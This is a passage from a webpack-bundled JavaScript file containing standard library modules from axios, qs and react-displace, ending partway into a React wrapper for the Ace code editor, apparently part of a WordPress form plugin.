module.exports = function (obj) {
return obj != null && (isBuffer(obj) || isSlowBuffer(obj) || !!obj._isBuffer)
}
function isBuffer (obj) {
return !!obj.constructor && typeof obj.constructor.isBuffer === 'function' && obj.constructor.isBuffer(obj)
}
// For Node v0.10 support. Remove this eventually.
function isSlowBuffer (obj) {
return typeof obj.readFloatLE === 'function' && typeof obj.slice === 'function' && isBuffer(obj.slice(0, 0))
}
/***/ }),
/* 164 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
var defaults = __webpack_require__(50);
var utils = __webpack_require__(14);
var InterceptorManager = __webpack_require__(173);
var dispatchRequest = __webpack_require__(174);
/**
* Create a new instance of Axios
*
* @param {Object} instanceConfig The default config for the instance
*/
function Axios(instanceConfig) {
this.defaults = instanceConfig;
this.interceptors = {
request: new InterceptorManager(),
response: new InterceptorManager()
};
}
/**
* Dispatch a request
*
* @param {Object} config The config specific for this request (merged with this.defaults)
*/
Axios.prototype.request = function request(config) {
/*eslint no-param-reassign:0*/
// Allow for axios('example/url'[, config]) a la fetch API
if (typeof config === 'string') {
config = utils.merge({
url: arguments[0]
}, arguments[1]);
}
config = utils.merge(defaults, {method: 'get'}, this.defaults, config);
config.method = config.method.toLowerCase();
// Hook up interceptors middleware
var chain = [dispatchRequest, undefined];
var promise = Promise.resolve(config);
this.interceptors.request.forEach(function unshiftRequestInterceptors(interceptor) {
chain.unshift(interceptor.fulfilled, interceptor.rejected);
});
this.interceptors.response.forEach(function pushResponseInterceptors(interceptor) {
chain.push(interceptor.fulfilled, interceptor.rejected);
});
while (chain.length) {
promise = promise.then(chain.shift(), chain.shift());
}
return promise;
};
// Provide aliases for supported request methods
utils.forEach(['delete', 'get', 'head', 'options'], function forEachMethodNoData(method) {
/*eslint func-names:0*/
Axios.prototype[method] = function(url, config) {
return this.request(utils.merge(config || {}, {
method: method,
url: url
}));
};
});
utils.forEach(['post', 'put', 'patch'], function forEachMethodWithData(method) {
/*eslint func-names:0*/
Axios.prototype[method] = function(url, data, config) {
return this.request(utils.merge(config || {}, {
method: method,
url: url,
data: data
}));
};
});
module.exports = Axios;
/***/ }),
/* 165 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
var utils = __webpack_require__(14);
module.exports = function normalizeHeaderName(headers, normalizedName) {
utils.forEach(headers, function processHeader(value, name) {
if (name !== normalizedName && name.toUpperCase() === normalizedName.toUpperCase()) {
headers[normalizedName] = value;
delete headers[name];
}
});
};
/***/ }),
/* 166 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
var createError = __webpack_require__(82);
/**
* Resolve or reject a Promise based on response status.
*
* @param {Function} resolve A function that resolves the promise.
* @param {Function} reject A function that rejects the promise.
* @param {object} response The response.
*/
module.exports = function settle(resolve, reject, response) {
var validateStatus = response.config.validateStatus;
// Note: status is not exposed by XDomainRequest
if (!response.status || !validateStatus || validateStatus(response.status)) {
resolve(response);
} else {
reject(createError(
'Request failed with status code ' + response.status,
response.config,
null,
response.request,
response
));
}
};
/***/ }),
/* 167 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
/**
* Update an Error with the specified config, error code, and response.
*
* @param {Error} error The error to update.
* @param {Object} config The config.
* @param {string} [code] The error code (for example, 'ECONNABORTED').
* @param {Object} [request] The request.
* @param {Object} [response] The response.
* @returns {Error} The error.
*/
module.exports = function enhanceError(error, config, code, request, response) {
error.config = config;
if (code) {
error.code = code;
}
error.request = request;
error.response = response;
return error;
};
/***/ }),
/* 168 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
var utils = __webpack_require__(14);
function encode(val) {
return encodeURIComponent(val).
replace(/%40/gi, '@').
replace(/%3A/gi, ':').
replace(/%24/g, '$').
replace(/%2C/gi, ',').
replace(/%20/g, '+').
replace(/%5B/gi, '[').
replace(/%5D/gi, ']');
}
/**
* Build a URL by appending params to the end
*
* @param {string} url The base of the url (e.g., http://www.google.com)
* @param {object} [params] The params to be appended
* @returns {string} The formatted url
*/
module.exports = function buildURL(url, params, paramsSerializer) {
/*eslint no-param-reassign:0*/
if (!params) {
return url;
}
var serializedParams;
if (paramsSerializer) {
serializedParams = paramsSerializer(params);
} else if (utils.isURLSearchParams(params)) {
serializedParams = params.toString();
} else {
var parts = [];
utils.forEach(params, function serialize(val, key) {
if (val === null || typeof val === 'undefined') {
return;
}
if (utils.isArray(val)) {
key = key + '[]';
} else {
val = [val];
}
utils.forEach(val, function parseValue(v) {
if (utils.isDate(v)) {
v = v.toISOString();
} else if (utils.isObject(v)) {
v = JSON.stringify(v);
}
parts.push(encode(key) + '=' + encode(v));
});
});
serializedParams = parts.join('&');
}
if (serializedParams) {
url += (url.indexOf('?') === -1 ? '?' : '&') + serializedParams;
}
return url;
};
/***/ }),
/* 169 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
var utils = __webpack_require__(14);
// Headers whose duplicates are ignored by node
// c.f. https://nodejs.org/api/http.html#http_message_headers
var ignoreDuplicateOf = [
'age', 'authorization', 'content-length', 'content-type', 'etag',
'expires', 'from', 'host', 'if-modified-since', 'if-unmodified-since',
'last-modified', 'location', 'max-forwards', 'proxy-authorization',
'referer', 'retry-after', 'user-agent'
];
/**
* Parse headers into an object
*
* ```
* Date: Wed, 27 Aug 2014 08:58:49 GMT
* Content-Type: application/json
* Connection: keep-alive
* Transfer-Encoding: chunked
* ```
*
* @param {String} headers Headers needing to be parsed
* @returns {Object} Headers parsed into an object
*/
module.exports = function parseHeaders(headers) {
var parsed = {};
var key;
var val;
var i;
if (!headers) { return parsed; }
utils.forEach(headers.split('\n'), function parser(line) {
i = line.indexOf(':');
key = utils.trim(line.substr(0, i)).toLowerCase();
val = utils.trim(line.substr(i + 1));
if (key) {
if (parsed[key] && ignoreDuplicateOf.indexOf(key) >= 0) {
return;
}
if (key === 'set-cookie') {
parsed[key] = (parsed[key] ? parsed[key] : []).concat([val]);
} else {
parsed[key] = parsed[key] ? parsed[key] + ', ' + val : val;
}
}
});
return parsed;
};
/***/ }),
/* 170 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
var utils = __webpack_require__(14);
module.exports = (
utils.isStandardBrowserEnv() ?
// Standard browser envs have full support of the APIs needed to test
// whether the request URL is of the same origin as current location.
(function standardBrowserEnv() {
var msie = /(msie|trident)/i.test(navigator.userAgent);
var urlParsingNode = document.createElement('a');
var originURL;
/**
* Parse a URL to discover it's components
*
* @param {String} url The URL to be parsed
* @returns {Object}
*/
function resolveURL(url) {
var href = url;
if (msie) {
// IE needs attribute set twice to normalize properties
urlParsingNode.setAttribute('href', href);
href = urlParsingNode.href;
}
urlParsingNode.setAttribute('href', href);
// urlParsingNode provides the UrlUtils interface - http://url.spec.whatwg.org/#urlutils
return {
href: urlParsingNode.href,
protocol: urlParsingNode.protocol ? urlParsingNode.protocol.replace(/:$/, '') : '',
host: urlParsingNode.host,
search: urlParsingNode.search ? urlParsingNode.search.replace(/^\?/, '') : '',
hash: urlParsingNode.hash ? urlParsingNode.hash.replace(/^#/, '') : '',
hostname: urlParsingNode.hostname,
port: urlParsingNode.port,
pathname: (urlParsingNode.pathname.charAt(0) === '/') ?
urlParsingNode.pathname :
'/' + urlParsingNode.pathname
};
}
originURL = resolveURL(window.location.href);
/**
* Determine if a URL shares the same origin as the current location
*
* @param {String} requestURL The URL to test
* @returns {boolean} True if URL shares the same origin, otherwise false
*/
return function isURLSameOrigin(requestURL) {
var parsed = (utils.isString(requestURL)) ? resolveURL(requestURL) : requestURL;
return (parsed.protocol === originURL.protocol &&
parsed.host === originURL.host);
};
})() :
// Non standard browser envs (web workers, react-native) lack needed support.
(function nonStandardBrowserEnv() {
return function isURLSameOrigin() {
return true;
};
})()
);
/***/ }),
/* 171 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
// btoa polyfill for IE<10 courtesy https://github.com/davidchambers/Base64.js
var chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
function E() {
this.message = 'String contains an invalid character';
}
E.prototype = new Error;
E.prototype.code = 5;
E.prototype.name = 'InvalidCharacterError';
function btoa(input) {
var str = String(input);
var output = '';
for (
// initialize result and counter
var block, charCode, idx = 0, map = chars;
// if the next str index does not exist:
// change the mapping table to "="
// check if d has no fractional digits
str.charAt(idx | 0) || (map = '=', idx % 1);
// "8 - idx % 1 * 8" generates the sequence 2, 4, 6, 8
output += map.charAt(63 & block >> 8 - idx % 1 * 8)
) {
charCode = str.charCodeAt(idx += 3 / 4);
if (charCode > 0xFF) {
throw new E();
}
block = block << 8 | charCode;
}
return output;
}
module.exports = btoa;
/***/ }),
/* 172 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
var utils = __webpack_require__(14);
module.exports = (
utils.isStandardBrowserEnv() ?
// Standard browser envs support document.cookie
(function standardBrowserEnv() {
return {
write: function write(name, value, expires, path, domain, secure) {
var cookie = [];
cookie.push(name + '=' + encodeURIComponent(value));
if (utils.isNumber(expires)) {
cookie.push('expires=' + new Date(expires).toGMTString());
}
if (utils.isString(path)) {
cookie.push('path=' + path);
}
if (utils.isString(domain)) {
cookie.push('domain=' + domain);
}
if (secure === true) {
cookie.push('secure');
}
document.cookie = cookie.join('; ');
},
read: function read(name) {
var match = document.cookie.match(new RegExp('(^|;\\s*)(' + name + ')=([^;]*)'));
return (match ? decodeURIComponent(match[3]) : null);
},
remove: function remove(name) {
this.write(name, '', Date.now() - 86400000);
}
};
})() :
// Non standard browser env (web workers, react-native) lack needed support.
(function nonStandardBrowserEnv() {
return {
write: function write() {},
read: function read() { return null; },
remove: function remove() {}
};
})()
);
/***/ }),
/* 173 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
var utils = __webpack_require__(14);
function InterceptorManager() {
this.handlers = [];
}
/**
* Add a new interceptor to the stack
*
* @param {Function} fulfilled The function to handle `then` for a `Promise`
* @param {Function} rejected The function to handle `reject` for a `Promise`
*
* @return {Number} An ID used to remove interceptor later
*/
InterceptorManager.prototype.use = function use(fulfilled, rejected) {
this.handlers.push({
fulfilled: fulfilled,
rejected: rejected
});
return this.handlers.length - 1;
};
/**
* Remove an interceptor from the stack
*
* @param {Number} id The ID that was returned by `use`
*/
InterceptorManager.prototype.eject = function eject(id) {
if (this.handlers[id]) {
this.handlers[id] = null;
}
};
/**
* Iterate over all the registered interceptors
*
* This method is particularly useful for skipping over any
* interceptors that may have become `null` calling `eject`.
*
* @param {Function} fn The function to call for each interceptor
*/
InterceptorManager.prototype.forEach = function forEach(fn) {
utils.forEach(this.handlers, function forEachHandler(h) {
if (h !== null) {
fn(h);
}
});
};
module.exports = InterceptorManager;
/***/ }),
/* 174 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
var utils = __webpack_require__(14);
var transformData = __webpack_require__(175);
var isCancel = __webpack_require__(83);
var defaults = __webpack_require__(50);
var isAbsoluteURL = __webpack_require__(176);
var combineURLs = __webpack_require__(177);
/**
* Throws a `Cancel` if cancellation has been requested.
*/
function throwIfCancellationRequested(config) {
if (config.cancelToken) {
config.cancelToken.throwIfRequested();
}
}
/**
* Dispatch a request to the server using the configured adapter.
*
* @param {object} config The config that is to be used for the request
* @returns {Promise} The Promise to be fulfilled
*/
module.exports = function dispatchRequest(config) {
throwIfCancellationRequested(config);
// Support baseURL config
if (config.baseURL && !isAbsoluteURL(config.url)) {
config.url = combineURLs(config.baseURL, config.url);
}
// Ensure headers exist
config.headers = config.headers || {};
// Transform request data
config.data = transformData(
config.data,
config.headers,
config.transformRequest
);
// Flatten headers
config.headers = utils.merge(
config.headers.common || {},
config.headers[config.method] || {},
config.headers || {}
);
utils.forEach(
['delete', 'get', 'head', 'post', 'put', 'patch', 'common'],
function cleanHeaderConfig(method) {
delete config.headers[method];
}
);
var adapter = config.adapter || defaults.adapter;
return adapter(config).then(function onAdapterResolution(response) {
throwIfCancellationRequested(config);
// Transform response data
response.data = transformData(
response.data,
response.headers,
config.transformResponse
);
return response;
}, function onAdapterRejection(reason) {
if (!isCancel(reason)) {
throwIfCancellationRequested(config);
// Transform response data
if (reason && reason.response) {
reason.response.data = transformData(
reason.response.data,
reason.response.headers,
config.transformResponse
);
}
}
return Promise.reject(reason);
});
};
/***/ }),
/* 175 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
var utils = __webpack_require__(14);
/**
* Transform the data for a request or a response
*
* @param {Object|String} data The data to be transformed
* @param {Array} headers The headers for the request or response
* @param {Array|Function} fns A single function or Array of functions
* @returns {*} The resulting transformed data
*/
module.exports = function transformData(data, headers, fns) {
/*eslint no-param-reassign:0*/
utils.forEach(fns, function transform(fn) {
data = fn(data, headers);
});
return data;
};
/***/ }),
/* 176 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
/**
* Determines whether the specified URL is absolute
*
* @param {string} url The URL to test
* @returns {boolean} True if the specified URL is absolute, otherwise false
*/
module.exports = function isAbsoluteURL(url) {
// A URL is considered absolute if it begins with "<scheme>://" or "//" (protocol-relative URL).
// RFC 3986 defines scheme name as a sequence of characters beginning with a letter and followed
// by any combination of letters, digits, plus, period, or hyphen.
return /^([a-z][a-z\d\+\-\.]*:)?\/\//i.test(url);
};
/***/ }),
/* 177 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
/**
* Creates a new URL by combining the specified URLs
*
* @param {string} baseURL The base URL
* @param {string} relativeURL The relative URL
* @returns {string} The combined URL
*/
module.exports = function combineURLs(baseURL, relativeURL) {
return relativeURL
? baseURL.replace(/\/+$/, '') + '/' + relativeURL.replace(/^\/+/, '')
: baseURL;
};
/***/ }),
/* 178 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
var Cancel = __webpack_require__(84);
/**
* A `CancelToken` is an object that can be used to request cancellation of an operation.
*
* @class
* @param {Function} executor The executor function.
*/
function CancelToken(executor) {
if (typeof executor !== 'function') {
throw new TypeError('executor must be a function.');
}
var resolvePromise;
this.promise = new Promise(function promiseExecutor(resolve) {
resolvePromise = resolve;
});
var token = this;
executor(function cancel(message) {
if (token.reason) {
// Cancellation has already been requested
return;
}
token.reason = new Cancel(message);
resolvePromise(token.reason);
});
}
/**
* Throws a `Cancel` if cancellation has been requested.
*/
CancelToken.prototype.throwIfRequested = function throwIfRequested() {
if (this.reason) {
throw this.reason;
}
};
/**
* Returns an object that contains a new `CancelToken` and a function that, when called,
* cancels the `CancelToken`.
*/
CancelToken.source = function source() {
var cancel;
var token = new CancelToken(function executor(c) {
cancel = c;
});
return {
token: token,
cancel: cancel
};
};
module.exports = CancelToken;
/***/ }),
/* 179 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
/**
* Syntactic sugar for invoking a function and expanding an array for arguments.
*
* Common use case would be to use `Function.prototype.apply`.
*
* ```js
* function f(x, y, z) {}
* var args = [1, 2, 3];
* f.apply(null, args);
* ```
*
* With `spread` this example can be re-written.
*
* ```js
* spread(function(x, y, z) {})([1, 2, 3]);
* ```
*
* @param {Function} callback
* @returns {Function}
*/
module.exports = function spread(callback) {
return function wrap(arr) {
return callback.apply(null, arr);
};
};
/***/ }),
/* 180 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
var utils = __webpack_require__(85);
var formats = __webpack_require__(86);
var arrayPrefixGenerators = {
brackets: function brackets(prefix) { // eslint-disable-line func-name-matching
return prefix + '[]';
},
indices: function indices(prefix, key) { // eslint-disable-line func-name-matching
return prefix + '[' + key + ']';
},
repeat: function repeat(prefix) { // eslint-disable-line func-name-matching
return prefix;
}
};
var toISO = Date.prototype.toISOString;
var defaults = {
delimiter: '&',
encode: true,
encoder: utils.encode,
encodeValuesOnly: false,
serializeDate: function serializeDate(date) { // eslint-disable-line func-name-matching
return toISO.call(date);
},
skipNulls: false,
strictNullHandling: false
};
var stringify = function stringify( // eslint-disable-line func-name-matching
object,
prefix,
generateArrayPrefix,
strictNullHandling,
skipNulls,
encoder,
filter,
sort,
allowDots,
serializeDate,
formatter,
encodeValuesOnly
) {
var obj = object;
if (typeof filter === 'function') {
obj = filter(prefix, obj);
} else if (obj instanceof Date) {
obj = serializeDate(obj);
} else if (obj === null) {
if (strictNullHandling) {
return encoder && !encodeValuesOnly ? encoder(prefix, defaults.encoder) : prefix;
}
obj = '';
}
if (typeof obj === 'string' || typeof obj === 'number' || typeof obj === 'boolean' || utils.isBuffer(obj)) {
if (encoder) {
var keyValue = encodeValuesOnly ? prefix : encoder(prefix, defaults.encoder);
return [formatter(keyValue) + '=' + formatter(encoder(obj, defaults.encoder))];
}
return [formatter(prefix) + '=' + formatter(String(obj))];
}
var values = [];
if (typeof obj === 'undefined') {
return values;
}
var objKeys;
if (Array.isArray(filter)) {
objKeys = filter;
} else {
var keys = Object.keys(obj);
objKeys = sort ? keys.sort(sort) : keys;
}
for (var i = 0; i < objKeys.length; ++i) {
var key = objKeys[i];
if (skipNulls && obj[key] === null) {
continue;
}
if (Array.isArray(obj)) {
values = values.concat(stringify(
obj[key],
generateArrayPrefix(prefix, key),
generateArrayPrefix,
strictNullHandling,
skipNulls,
encoder,
filter,
sort,
allowDots,
serializeDate,
formatter,
encodeValuesOnly
));
} else {
values = values.concat(stringify(
obj[key],
prefix + (allowDots ? '.' + key : '[' + key + ']'),
generateArrayPrefix,
strictNullHandling,
skipNulls,
encoder,
filter,
sort,
allowDots,
serializeDate,
formatter,
encodeValuesOnly
));
}
}
return values;
};
module.exports = function (object, opts) {
var obj = object;
var options = opts ? utils.assign({}, opts) : {};
if (options.encoder !== null && options.encoder !== undefined && typeof options.encoder !== 'function') {
throw new TypeError('Encoder has to be a function.');
}
var delimiter = typeof options.delimiter === 'undefined' ? defaults.delimiter : options.delimiter;
var strictNullHandling = typeof options.strictNullHandling === 'boolean' ? options.strictNullHandling : defaults.strictNullHandling;
var skipNulls = typeof options.skipNulls === 'boolean' ? options.skipNulls : defaults.skipNulls;
var encode = typeof options.encode === 'boolean' ? options.encode : defaults.encode;
var encoder = typeof options.encoder === 'function' ? options.encoder : defaults.encoder;
var sort = typeof options.sort === 'function' ? options.sort : null;
var allowDots = typeof options.allowDots === 'undefined' ? false : options.allowDots;
var serializeDate = typeof options.serializeDate === 'function' ? options.serializeDate : defaults.serializeDate;
var encodeValuesOnly = typeof options.encodeValuesOnly === 'boolean' ? options.encodeValuesOnly : defaults.encodeValuesOnly;
if (typeof options.format === 'undefined') {
options.format = formats['default'];
} else if (!Object.prototype.hasOwnProperty.call(formats.formatters, options.format)) {
throw new TypeError('Unknown format option provided.');
}
var formatter = formats.formatters[options.format];
var objKeys;
var filter;
if (typeof options.filter === 'function') {
filter = options.filter;
obj = filter('', obj);
} else if (Array.isArray(options.filter)) {
filter = options.filter;
objKeys = filter;
}
var keys = [];
if (typeof obj !== 'object' || obj === null) {
return '';
}
var arrayFormat;
if (options.arrayFormat in arrayPrefixGenerators) {
arrayFormat = options.arrayFormat;
} else if ('indices' in options) {
arrayFormat = options.indices ? 'indices' : 'repeat';
} else {
arrayFormat = 'indices';
}
var generateArrayPrefix = arrayPrefixGenerators[arrayFormat];
if (!objKeys) {
objKeys = Object.keys(obj);
}
if (sort) {
objKeys.sort(sort);
}
for (var i = 0; i < objKeys.length; ++i) {
var key = objKeys[i];
if (skipNulls && obj[key] === null) {
continue;
}
keys = keys.concat(stringify(
obj[key],
key,
generateArrayPrefix,
strictNullHandling,
skipNulls,
encode ? encoder : null,
filter,
sort,
allowDots,
serializeDate,
formatter,
encodeValuesOnly
));
}
var joined = keys.join(delimiter);
var prefix = options.addQueryPrefix === true ? '?' : '';
return joined.length > 0 ? prefix + joined : '';
};
/***/ }),
/* 181 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
var utils = __webpack_require__(85);
var has = Object.prototype.hasOwnProperty;
var defaults = {
allowDots: false,
allowPrototypes: false,
arrayLimit: 20,
decoder: utils.decode,
delimiter: '&',
depth: 5,
parameterLimit: 1000,
plainObjects: false,
strictNullHandling: false
};
var parseValues = function parseQueryStringValues(str, options) {
var obj = {};
var cleanStr = options.ignoreQueryPrefix ? str.replace(/^\?/, '') : str;
var limit = options.parameterLimit === Infinity ? undefined : options.parameterLimit;
var parts = cleanStr.split(options.delimiter, limit);
for (var i = 0; i < parts.length; ++i) {
var part = parts[i];
var bracketEqualsPos = part.indexOf(']=');
var pos = bracketEqualsPos === -1 ? part.indexOf('=') : bracketEqualsPos + 1;
var key, val;
if (pos === -1) {
key = options.decoder(part, defaults.decoder);
val = options.strictNullHandling ? null : '';
} else {
key = options.decoder(part.slice(0, pos), defaults.decoder);
val = options.decoder(part.slice(pos + 1), defaults.decoder);
}
if (has.call(obj, key)) {
obj[key] = [].concat(obj[key]).concat(val);
} else {
obj[key] = val;
}
}
return obj;
};
var parseObject = function (chain, val, options) {
var leaf = val;
for (var i = chain.length - 1; i >= 0; --i) {
var obj;
var root = chain[i];
if (root === '[]') {
obj = [];
obj = obj.concat(leaf);
} else {
obj = options.plainObjects ? Object.create(null) : {};
var cleanRoot = root.charAt(0) === '[' && root.charAt(root.length - 1) === ']' ? root.slice(1, -1) : root;
var index = parseInt(cleanRoot, 10);
if (
!isNaN(index)
&& root !== cleanRoot
&& String(index) === cleanRoot
&& index >= 0
&& (options.parseArrays && index <= options.arrayLimit)
) {
obj = [];
obj[index] = leaf;
} else {
obj[cleanRoot] = leaf;
}
}
leaf = obj;
}
return leaf;
};
var parseKeys = function parseQueryStringKeys(givenKey, val, options) {
if (!givenKey) {
return;
}
// Transform dot notation to bracket notation
var key = options.allowDots ? givenKey.replace(/\.([^.[]+)/g, '[$1]') : givenKey;
// The regex chunks
var brackets = /(\[[^[\]]*])/;
var child = /(\[[^[\]]*])/g;
// Get the parent
var segment = brackets.exec(key);
var parent = segment ? key.slice(0, segment.index) : key;
// Stash the parent if it exists
var keys = [];
if (parent) {
// If we aren't using plain objects, optionally prefix keys
// that would overwrite object prototype properties
if (!options.plainObjects && has.call(Object.prototype, parent)) {
if (!options.allowPrototypes) {
return;
}
}
keys.push(parent);
}
// Loop through children appending to the array until we hit depth
var i = 0;
while ((segment = child.exec(key)) !== null && i < options.depth) {
i += 1;
if (!options.plainObjects && has.call(Object.prototype, segment[1].slice(1, -1))) {
if (!options.allowPrototypes) {
return;
}
}
keys.push(segment[1]);
}
// If there's a remainder, just add whatever is left
if (segment) {
keys.push('[' + key.slice(segment.index) + ']');
}
return parseObject(keys, val, options);
};
module.exports = function (str, opts) {
var options = opts ? utils.assign({}, opts) : {};
if (options.decoder !== null && options.decoder !== undefined && typeof options.decoder !== 'function') {
throw new TypeError('Decoder has to be a function.');
}
options.ignoreQueryPrefix = options.ignoreQueryPrefix === true;
options.delimiter = typeof options.delimiter === 'string' || utils.isRegExp(options.delimiter) ? options.delimiter : defaults.delimiter;
options.depth = typeof options.depth === 'number' ? options.depth : defaults.depth;
options.arrayLimit = typeof options.arrayLimit === 'number' ? options.arrayLimit : defaults.arrayLimit;
options.parseArrays = options.parseArrays !== false;
options.decoder = typeof options.decoder === 'function' ? options.decoder : defaults.decoder;
options.allowDots = typeof options.allowDots === 'boolean' ? options.allowDots : defaults.allowDots;
options.plainObjects = typeof options.plainObjects === 'boolean' ? options.plainObjects : defaults.plainObjects;
options.allowPrototypes = typeof options.allowPrototypes === 'boolean' ? options.allowPrototypes : defaults.allowPrototypes;
options.parameterLimit = typeof options.parameterLimit === 'number' ? options.parameterLimit : defaults.parameterLimit;
options.strictNullHandling = typeof options.strictNullHandling === 'boolean' ? options.strictNullHandling : defaults.strictNullHandling;
if (str === '' || str === null || typeof str === 'undefined') {
return options.plainObjects ? Object.create(null) : {};
}
var tempObj = typeof str === 'string' ? parseValues(str, options) : str;
var obj = options.plainObjects ? Object.create(null) : {};
// Iterate over the keys and setup the new object
var keys = Object.keys(tempObj);
for (var i = 0; i < keys.length; ++i) {
var key = keys[i];
var newObj = parseKeys(key, tempObj[key], options);
obj = utils.merge(obj, newObj, options);
}
return utils.compact(obj);
};
/***/ }),
/* 182 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
/* WEBPACK VAR INJECTION */(function(global) {
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var React = __webpack_require__(0);
var ReactDOM = __webpack_require__(23);
// React 16+ supports Portals.
var canUsePortals = !!ReactDOM.createPortal;
function displace(WrappedComponent, options) {
if (!global.document) {
return function (_React$Component) {
_inherits(EmptyDisplace, _React$Component);
function EmptyDisplace() {
_classCallCheck(this, EmptyDisplace);
return _possibleConstructorReturn(this, (EmptyDisplace.__proto__ || Object.getPrototypeOf(EmptyDisplace)).apply(this, arguments));
}
_createClass(EmptyDisplace, [{
key: 'render',
value: function render() {
return false;
}
}]);
return EmptyDisplace;
}(React.Component);
}
options = options || {};
var Displaced = function (_React$Component2) {
_inherits(Displaced, _React$Component2);
function Displaced() {
var _ref;
var _temp, _this2, _ret;
_classCallCheck(this, Displaced);
for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {
args[_key] = arguments[_key];
}
return _ret = (_temp = (_this2 = _possibleConstructorReturn(this, (_ref = Displaced.__proto__ || Object.getPrototypeOf(Displaced)).call.apply(_ref, [this].concat(args))), _this2), _this2.renderDisplaced = function () {
ReactDOM.unstable_renderSubtreeIntoContainer(_this2, React.createElement(WrappedComponent, _this2.props, _this2.props.children), _this2.container);
}, _this2.removeDisplaced = function () {
ReactDOM.unmountComponentAtNode(_this2.container);
}, _temp), _possibleConstructorReturn(_this2, _ret);
}
_createClass(Displaced, [{
key: 'componentWillMount',
value: function componentWillMount() {
this.container = function () {
if (!options.renderTo) {
var result = document.createElement('div');
document.body.appendChild(result);
return result;
} else if (typeof options.renderTo === 'string') {
return document.querySelector(options.renderTo);
} else {
return options.renderTo;
}
}();
}
}, {
key: 'componentDidMount',
value: function componentDidMount() {
if (canUsePortals) return;
if (this.props.mounted) {
this.renderDisplaced();
}
}
}, {
key: 'componentDidUpdate',
value: function componentDidUpdate(prevProps) {
if (canUsePortals) return;
if (prevProps.mounted && !this.props.mounted) {
ReactDOM.unmountComponentAtNode(this.container);
} else if (this.props.mounted) {
this.renderDisplaced();
}
}
}, {
key: 'componentWillUnmount',
value: function componentWillUnmount() {
if (!canUsePortals) {
ReactDOM.unmountComponentAtNode(this.container);
}
if (!options.renderTo) {
this.container.parentNode.removeChild(this.container);
}
}
}, {
key: 'render',
value: function render() {
if (!canUsePortals || this.props.mounted === false) {
return null;
}
return ReactDOM.createPortal(React.createElement(WrappedComponent, this.props, this.props.children), this.container);
}
}]);
return Displaced;
}(React.Component);
Displaced.defaultProps = {
mounted: true
};
Displaced.WrappedComponent = WrappedComponent;
return Displaced;
}
module.exports = displace;
/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(42)))
/***/ }),
/* 183 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var AceEditor = function (_Component) {
_inherits(AceEditor, _Component);
function AceEditor(props) {
_classCallCheck(this, AceEditor);
var _this = _possibleConstructorReturn(this, (AceEditor.__proto__ || Object.getPrototypeOf(AceEditor)).call(this, props));
_this.updateValue = _this.updateValue.bind(_this);
_this.insertSelector = _this.insertSelector.bind(_this);
return _this;
}
_createClass(AceEditor, [{
key: 'componentDidMount',
value: function componentDidMount() {
// eslint-disable-next-line no-undef
this.editor = ace.edit('forminator-field-' + this.props.property);
this.session = this.editor.getSession();
this.session.setUseWorker(false);
this.editor.setShowPrintMargin(false);
this.session.setMode('ace/mode/css');
this.editor.setTheme('ace/theme/sui');
this.editor.renderer.setShowGutter(true);
this.editor.setHighlightActiveLine(true);
